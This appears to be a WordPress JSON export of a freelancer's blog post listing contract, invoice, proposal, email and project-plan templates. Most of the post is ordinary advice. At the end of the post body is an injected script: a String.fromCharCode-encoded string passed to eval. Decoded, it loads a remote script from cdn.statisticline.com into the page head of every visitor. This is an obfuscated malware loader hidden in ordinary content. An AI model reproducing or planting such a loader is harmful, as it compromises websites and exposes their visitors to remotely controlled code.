{"id":5804,"date":"2023-06-09T10:56:35","date_gmt":"2023-06-09T10:56:35","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/freelance-document-templates-contract-invoice-and-proposal-templates-for-professionals\/"},"modified":"2023-06-09T10:56:35","modified_gmt":"2023-06-09T10:56:35","slug":"freelance-document-templates-contract-invoice-and-proposal-templates-for-professionals","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/freelance-document-templates-contract-invoice-and-proposal-templates-for-professionals\/","title":{"rendered":"Freelance Document Templates: Contract, Invoice and Proposal Templates for Professionals"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/freelance-document-templates-contract-invoice-and-proposal-templates-for-professionals\/#Freelance_Project_Plan_Templates\" title=\"Freelance Project Plan Templates\">Freelance Project Plan Templates<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/freelance-document-templates-contract-invoice-and-proposal-templates-for-professionals\/#Freelance_Email_Templates\" title=\"Freelance Email Templates\">Freelance Email Templates<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/freelance-document-templates-contract-invoice-and-proposal-templates-for-professionals\/#Freelance_Contract_Templates\" title=\"Freelance Contract&nbsp;Templates\">Freelance Contract&nbsp;Templates<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/freelance-document-templates-contract-invoice-and-proposal-templates-for-professionals\/#Freelance_Services_and_Pricing_Templates\" title=\"Freelance Services and Pricing&nbsp;Templates\">Freelance Services and Pricing&nbsp;Templates<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/freelance-document-templates-contract-invoice-and-proposal-templates-for-professionals\/#Freelance_Invoice_Templates\" title=\"Freelance&nbsp;Invoice Templates\">Freelance&nbsp;Invoice Templates<\/a><\/li><\/ul><\/nav><\/div>\n<p><script type=&quot;text\/javascript&quot; src=&quot;https:\/\/gumroad.com\/js\/gumroad-embed.js&quot;><\/script><\/p>\n<div class=&quot;gumroad-product-embed&quot; data-gumroad-product-id=&quot;QIXy&quot;>Buy my product<\/div>\n<p>&nbsp;<\/p>\n<p><img class=&quot;aligncenter size-full wp-image-1419&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2015\/06\/freelance-document-templates.png&quot; alt=&quot;freelance document templates&quot; width=&quot;1200&quot; height=&quot;797&quot; \/><\/p>\n<p>Looking for templates for your freelance proposals, contracts and invoices? There are plenty of examples of freelance document templates out there, but I&#8217;ve pulled the best of the bunch together &#8211; as well as added a few of my own templates &#8211; to give you a shortcut to all the freelance templates for proposals, contracts and invoices you&#8217;ll need.<\/p>\n<p><b>What you&#8217;ll get:<\/b><\/p>\n<ul>\n<li>Contract templates and examples for Designers, Developers and Freelance Writers<\/li>\n<li>Invoice templates and examples for Designers, Developers and Freelance Writers<\/li>\n<li>Proposal template and examples for Designers, Developers and Freelance Writers<\/li>\n<li>Project plan templates and examples for Designers, Developers and Freelance Writers<\/li>\n<li>Email templates and examples for Designers, Developers and Freelance Writers<\/li>\n<\/ul>\n<p>Sign up to be notified when my freelance document templates bundle is ready and get a special launch-day offer!<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Freelance_Project_Plan_Templates\"><\/span><strong>Freelance Project Plan Templates<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The website planner is <strong>sent out to potential clients to gather their requirements<\/strong>. This gives you a quick overview of the project and helps you decide whether you want to take it on or not.<\/p>\n<p>The goal is to find out:<\/p>\n<ol>\n<li>Who the client is<\/li>\n<li>What the client does<\/li>\n<li>What the project is<\/li>\n<li>What the client wants (deliverables)<\/li>\n<li>An understanding of their market and competitors<\/li>\n<li>What they like and don&#8217;t like (about their current site and other sites)<\/li>\n<li>Budget and time<\/li>\n<\/ol>\n<h4><strong>Freelance Project Plan Examples<\/strong><\/h4>\n<ul>\n<li>TBC<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Freelance_Email_Templates\"><\/span><strong>Freelance Email Templates<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>I have <strong>several email templates that I save in a plain text file<\/strong>. This is to save me retyping the same emails over and over. Templates include:<\/p>\n<ul>\n<li>For when you are interested in a project and attaching a website planner<\/li>\n<li>For when you don&#8217;t have time to take it on and have to decline it (and maybe recommend someone else)<\/li>\n<li>Sending a proposal to a potential client<\/li>\n<\/ul>\n<h4>Freelance Email Examples<\/h4>\n<blockquote><p>Hi Bill, &nbsp; Thanks for your email. I&#8217;m afraid I&#8217;m booked up with several projects at the moment so don&#8217;t have time to take on the redesign of Microsoft.com You might like to try Steve from Apple.com &#8211; another very good designer that I highly recommend. Best of luck with your project<\/p><\/blockquote>\n<h2><span class=\"ez-toc-section\" id=\"Freelance_Contract_Templates\"><\/span><strong>Freelance Contract&nbsp;<\/strong><strong>Templates<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Once you&#8217;ve gathered your clients requirements and have a good understanding of what they require, you need to<strong> send them a contract and proposal<\/strong>. Things this document should include:<\/p>\n<ol>\n<li>Outlines both parties obligations<\/li>\n<li>What you are going to produce and the deliverables<\/li>\n<li>How much the project will cost<\/li>\n<li>Payment plan e.g. 50% up front deposit, 50% on completion<\/li>\n<li>Signatures from both parties<\/li>\n<\/ol>\n<h4>Freelance Contact Examples<\/h4>\n<ul>\n<li>TBC<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Freelance_Services_and_Pricing_Templates\"><\/span>Freelance Services and Pricing&nbsp;<strong>Templates<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>I personally don&#8217;t use this one (so I wouldn&#8217;t call this essential) but it&#8217;s useful to have. A document outlining your services and prices. This way you can <strong>send potential customers a list of what you do and also give them a ballpark figure for how your pricing works<\/strong>.<\/p>\n<p>It&#8217;s good to get this out of the way up front in case their budget doesn&#8217;t suit your pricing.<\/p>\n<h4>Freelance Services and Pricing Examples<\/h4>\n<p>Haystack shows rough pricing costs for studios.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Freelance_Invoice_Templates\"><\/span>Freelance&nbsp;Invoice Templates<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>An invoice template that you can send to clients requesting payment. <strong>I highly recommend you use some sort of invoicing system<\/strong>, there are lots to choose from.<\/p>\n<p>Invoices should include:<\/p>\n<ol>\n<li>Who the invoice is to (client)<\/li>\n<li>Who the invoice is from (you)<\/li>\n<li>Date and invoice number<\/li>\n<li>Service(s) carried out<\/li>\n<li>Total costs<\/li>\n<li>Any terms e.g. Payment required on receipt of invoice<\/li>\n<li>A little thank you note<\/li>\n<\/ol>\n<h4>Freelance Invoice Examples<\/h4>\n<ul>\n<li>Freshbooks<\/li>\n<li>Billings<\/li>\n<li>The Invoice Machine<\/li>\n<li>Simply Invoices<\/li>\n<\/ul>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Buy my product &nbsp; Looking for templates for your freelance proposals, contracts and invoices? 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